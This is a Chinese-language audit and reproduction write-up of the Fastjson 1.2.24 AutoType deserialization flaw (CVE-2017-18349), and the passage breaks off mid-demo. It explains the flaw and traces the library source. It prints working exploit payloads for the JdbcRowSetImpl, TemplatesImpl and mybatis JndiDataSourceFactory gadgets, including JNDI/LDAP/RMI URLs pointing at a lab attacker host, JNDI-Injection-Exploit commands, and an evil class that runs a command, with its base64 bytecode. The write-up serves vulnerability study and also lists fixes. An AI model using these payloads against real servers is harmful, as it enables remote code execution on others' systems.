    如果一个类没有显式定义任何构造方法,Java编译器会自动生成一个无参构造方法。但如果定义了带参数的构造方法(如 User(String name)),编译器不再生成默认无参构造方法
  • 反序列化需要先创建空对象
    Fastjson在反序列化时,需要先通过无参构造方法创建一个“空壳”对象实例,再通过反射或setter方法将JSON中的字段值填充到对象中。如果没有无参构造方法,则无法完成第一步的实例化。

Fastjson反序列化的核心步骤如下

1
2
3
4
5
6
7
8
9
10
public static <T> T parseObject(String json, Class<T> clazz) {
// 1. 通过无参构造方法创建空对象
T obj = clazz.newInstance(); // 需要无参构造方法

// 2. 解析JSON字段,通过反射或setter填充对象属性
for (Field field : clazz.getFields()) {
field.set(obj, json中对应的值);
}
return obj;
}

JSON字段的键值对是动态的(可能缺少某些字段或顺序混乱),无法直接匹配构造方法的参数列表。而无参构造方法提供了一种统一的实例化方式。

@type

在 Fastjson 中,@type 是一个特殊的字段,用于 指定 JSON 数据反序列化时的目标 Java 类。它是 Fastjson 的 AutoType(自动类型识别) 功能的核心部分,但同时也是 Fastjson 历史上多个安全漏洞的根源。

@type的作用就是用完整的包名定位原始类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

interface User {
}
class User1 {
private String name;
private int age;

public User1(){} //无参构造方法(必须)

public User1(String name, int age){ //有参构造方法
this.age = age;
this.name = name;
}

// Fastjson 序列化时会调用此方法
public int getAge() {
System.out.println("调用1 getAge()");
return age;
}

// Fastjson 反序列化时会调用此方法
public void setAge(int age) {
System.out.println("调用1 setAge()");
this.age = age;
}

// Fastjson 反序列化时会调用此方法
public void setName(String name) {
System.out.println("调用1 setName()");
this.name = name;
}

// Fastjson 序列化时会调用此方法
public String getName() {
System.out.println("调用1 getName()");
return name;
}
}

class User2 implements User{
private String name;
private int age;

public User2(){} //无参构造方法(必须)

public User2(String name, int age){ //有参构造方法
this.age = age;
this.name = name;
}

// Fastjson 序列化时会调用此方法
public int getAge() {
System.out.println("调用2 getAge()");
return age;
}

// Fastjson 反序列化时会调用此方法
public void setAge(int age) {
System.out.println("调用2 setAge()");
this.age = age;
}

// Fastjson 反序列化时会调用此方法
public void setName(String name) {
System.out.println("调用2 setName()");
this.name = name;
}

// Fastjson 序列化时会调用此方法
public String getName() {
System.out.println("调用2 getName()");
return name;
}
}



public class test {
public static void main(String[] args) {


// 反序列化(会setter方法)
User user = JSON.parseObject("{\"age\":18,\"name\":\"admin\"}",User.class); //无法调用setter,因为不知道是user1还是user2
User user2 = JSON.parseObject("{\"@type\":\"org.example.User2\",\"age\":18,\"name\":\"admin\"}",User.class); //@type指定了user2,调用了user2的setter

System.out.println(user.getClass().getName());
System.out.println(user2.getClass().getName());

}
}

存在的风险

自动类加载机制

FastJson 会根据 **@type** 的值动态加载类

攻击者可以指定任意存在于 classpath 中的类

FastJson 1.2.24 CVE-2017-18349

环境准备

需要jndi远程加载恶意类,用JDK 8u101

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

maven构建

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>fastjson</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>


<dependencies>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

</dependencies>


</project>

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;
import com.alibaba.fastjson.JSON;


public class FastJsonTest {
public static void main(String[] args) {

String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://192.168.100.128:1099/Exploit\"," +
"\"autoCommit\":true" +
"}";

Object object = JSON.parse(payload); // 将 JSON 格式的字符串解析(反序列化)为 Java 对象


}
}

复现 JdbcRowSetImpl

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe' -A '192.168.100.128'

审计 JdbcRowSetImpl

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
"autoCommit":true
}

在反序列化的行打个断点

通过D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\JSONLexerBase.class:576scanSymbol对序列化字符进行处理。

当匹配到一个完整的键值对之后,并且键为@type时会进入D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class:274

这里对@type的键值也就是com.sun.rowset.JdbcRowSetImpl通过反射 loadClass 获取指定类的 Class 对象并赋值给变量 clazz

然后会调用D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\ParserConfig.class:273getDeserializer()

1
2
3
4
5
6
7
8
9
10
11
12
13
public ObjectDeserializer getDeserializer(Type type) {
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return derializer;
} else if (type instanceof Class) {
return this.getDeserializer((Class)type, type); //会走到这
} else if (type instanceof ParameterizedType) {
Type rawType = ((ParameterizedType)type).getRawType();
return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
} else {
return JavaObjectDeserializer.instance;
}
}

然后会调用下面D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\ParserConfig.class:287的这个getDeserializer()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return derializer;
} else {
if (type == null) {
type = clazz;
}

ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
JSONType annotation = (JSONType)clazz.getAnnotation(JSONType.class);
if (annotation != null) {
Class<?> mappingTo = annotation.mappingTo();
if (mappingTo != Void.class) {
return this.getDeserializer(mappingTo, mappingTo);
}
}

if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) {
derializer = (ObjectDeserializer)this.derializers.get(clazz);
}

if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
String className = clazz.getName();
className = className.replace('$', '.');

for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}

if (className.startsWith("java.awt.") && AwtCodec.support(clazz) && !awtError) {
try {
this.derializers.put(Class.forName("java.awt.Point"), AwtCodec.instance);
this.derializers.put(Class.forName("java.awt.Font"), AwtCodec.instance);
this.derializers.put(Class.forName("java.awt.Rectangle"), AwtCodec.instance);
this.derializers.put(Class.forName("java.awt.Color"), AwtCodec.instance);
} catch (Throwable var11) {
awtError = true;
}

derializer = AwtCodec.instance;
}

if (!jdk8Error) {
try {
if (className.startsWith("java.time.")) {
this.derializers.put(Class.forName("java.time.LocalDateTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.LocalDate"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.LocalTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.ZonedDateTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.OffsetDateTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.OffsetTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.ZoneOffset"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.ZoneRegion"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.ZoneId"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.Period"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.Duration"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.Instant"), Jdk8DateCodec.instance);
derializer = (ObjectDeserializer)this.derializers.get(clazz);
} else if (className.startsWith("java.util.Optional")) {
this.derializers.put(Class.forName("java.util.Optional"), OptionalCodec.instance);
this.derializers.put(Class.forName("java.util.OptionalDouble"), OptionalCodec.instance);
this.derializers.put(Class.forName("java.util.OptionalInt"), OptionalCodec.instance);
this.derializers.put(Class.forName("java.util.OptionalLong"), OptionalCodec.instance);
derializer = (ObjectDeserializer)this.derializers.get(clazz);
}
} catch (Throwable var10) {
jdk8Error = true;
}
}

if (className.equals("java.nio.file.Path")) {
this.derializers.put(clazz, MiscCodec.instance);
}

if (clazz == Map.Entry.class) {
this.derializers.put(clazz, MiscCodec.instance);
}

ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

try {
Iterator var17 = ServiceLoader.load(AutowiredObjectDeserializer.class, classLoader).iterator();

while(var17.hasNext()) {
AutowiredObjectDeserializer autowired = (AutowiredObjectDeserializer)var17.next();
Iterator var8 = autowired.getAutowiredFor().iterator();

while(var8.hasNext()) {
Type forType = (Type)var8.next();
this.derializers.put(forType, autowired);
}
}
} catch (Exception var12) {
}

if (derializer == null) {
derializer = (ObjectDeserializer)this.derializers.get(type);
}

if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
if (clazz.isEnum()) {
derializer = new EnumDeserializer(clazz);
} else if (clazz.isArray()) {
derializer = ObjectArrayCodec.instance;
} else if (clazz != Set.class && clazz != HashSet.class && clazz != Collection.class && clazz != List.class && clazz != ArrayList.class) {
if (Collection.class.isAssignableFrom(clazz)) {
derializer = CollectionCodec.instance;
} else if (Map.class.isAssignableFrom(clazz)) {
derializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
derializer = new ThrowableDeserializer(this, clazz);
} else {
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
}
} else {
derializer = CollectionCodec.instance;
}

this.putDeserializer((Type)type, (ObjectDeserializer)derializer);
return (ObjectDeserializer)derializer;
}
}
}
}
}

然后有一个检查类名是否在黑名单(denyList)中

黑名单只有java.lang.Thread

最后会反序列化生成com.sun.rowset.JdbcRowSetImpl的实例,并调用其setter方法

看一下JdbcRowSetImpl.class

C:\Program Files\Java\jdk1.8.0_101\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class:320有一个connect方法调用了lookup查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

并且参数是this.getDataSourceName(),在这里传入rmi或者ldap远程加载恶意类

然后找setter方法C:\Program Files\Java\jdk1.8.0_101\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class:1286

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

这里需要传入autoCommit为一个布尔值truefalse都行

利用链如下

1
JSON.parse() -> scanSymbol()传入@type -> ParserConfig#checkAutoType -> TypeUtils.loadClass -> ObjectDeserializer -> JdbcRowSetImpl -> setAutoCommit() -> connect() -> getDataSourceName()

修复

默认关闭 autotype("autoTypeSupport": false),必须显式开启

增强checkAutoType

黑名单禁用**JdbcRowSetImpl**

FastJson 1.2.24 的一些其他Gadgets

TemplatesImpl 不出网可用

复现

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilClass extends AbstractTranslet {
public EvilClass(){}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}

编译并将字节码转为base64

1
2
javac .\EvilClass.java
python -c "import base64; print(base64.b64encode(open('EvilClass.class','rb').read()).decode())"

payload

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class TemplatesImpl {
public static void main(String[] args) {
// 替换为你的正确恶意类字节码(Base64编码)
String byteCode = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=";

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\"" + byteCode + "\"]," +
"\"_name\":\"EvilClass\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}}";

System.out.println(payload);

// 反序列化
try {
Object object = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
} catch (Exception e) {

}
}
}

审计

要用到TemplatesImpl的非public属性:outputProperties_bytecodesprivate修饰,Fastjson默认只会反序列化public修饰的属性。

需要设置Feature.SupportNonPublicField(支持反序列化时使用非public修饰符的属性)

即需要调用parseObject()或者parse()时需要带上参数Feature.SupportNonPublicField才能利用这个gadget

1
2
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
JSON.parse(text1,Feature.SupportNonPublicField)

恶意类,必须继承AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilClass extends AbstractTranslet {
public EvilClass(){}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}

测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class TemplatesImpl {
public static void main(String[] args) {
// 替换为你的正确恶意类字节码(Base64编码)
String byteCode = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=";

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\"" + byteCode + "\"]," +
"\"_name\":\"EvilClass\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}}";

System.out.println(payload);

// 反序列化
try {
Object object = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
} catch (Exception e) {

}
}
}

看一下TemplatesImpl是怎么触发的

C:\Program Files\Java\jdk1.8.0_101\src.zip!\com\sun\org\apache\xalan\internal\xsltc\trax\TemplatesImpl.java

_bytecodes``_name``_tfactor``_outputProperties

因为触发链子的起点肯定在setter或者getter方法,找以上属性的该方法

getOutputProperties()

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

调用了newTransformer()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

然后会调用getTransletInstance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

这里会检查if (_name == null)所以_name字段不能为空

然后会调用**defineTransletClasses()**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

然后会检查_bytecodes是否为空不是的话就会通过TransletClassLoader加载外部字节码

并且这里实例化需要_tfactor_tfactory.getExternalExtensionsMap(),没有该字段会抛出异常,即使是空的,但也是空对象能调用getExternalExtensionsMap()返回null而不是null.getExternalExtensionsMap()抛出异常

这里加载_bytecodes。并通过defineClass()将字节码转换为 Class<?> 对象并执行静态方法

这里检查有没有继承AbstractTranslet的类,如果没有就会抛出异常,这就是为什么poc的类需要继承AbstractTranslet

整个gadget

1
JSON.parse() -> scanSymbol()传入@type -> ParserConfig#checkAutoType -> TypeUtils.loadClass -> ObjectDeserializer -> JdbcRowSetImpl -> getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass()

JndiDataSourceFactory 需要 mybatis依赖

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependencies>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.7</version>
</dependency>

</dependencies>

./java -jar ../JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe' -A '192.168.100.128'

payload

1
2
{  "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",  "properties": {    "data_source": "ldap://192.168.100.128:1389/Exploit"  }}

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;
import com.alibaba.fastjson.JSON;


public class FastJsonTest {
public static void main(String[] args) {

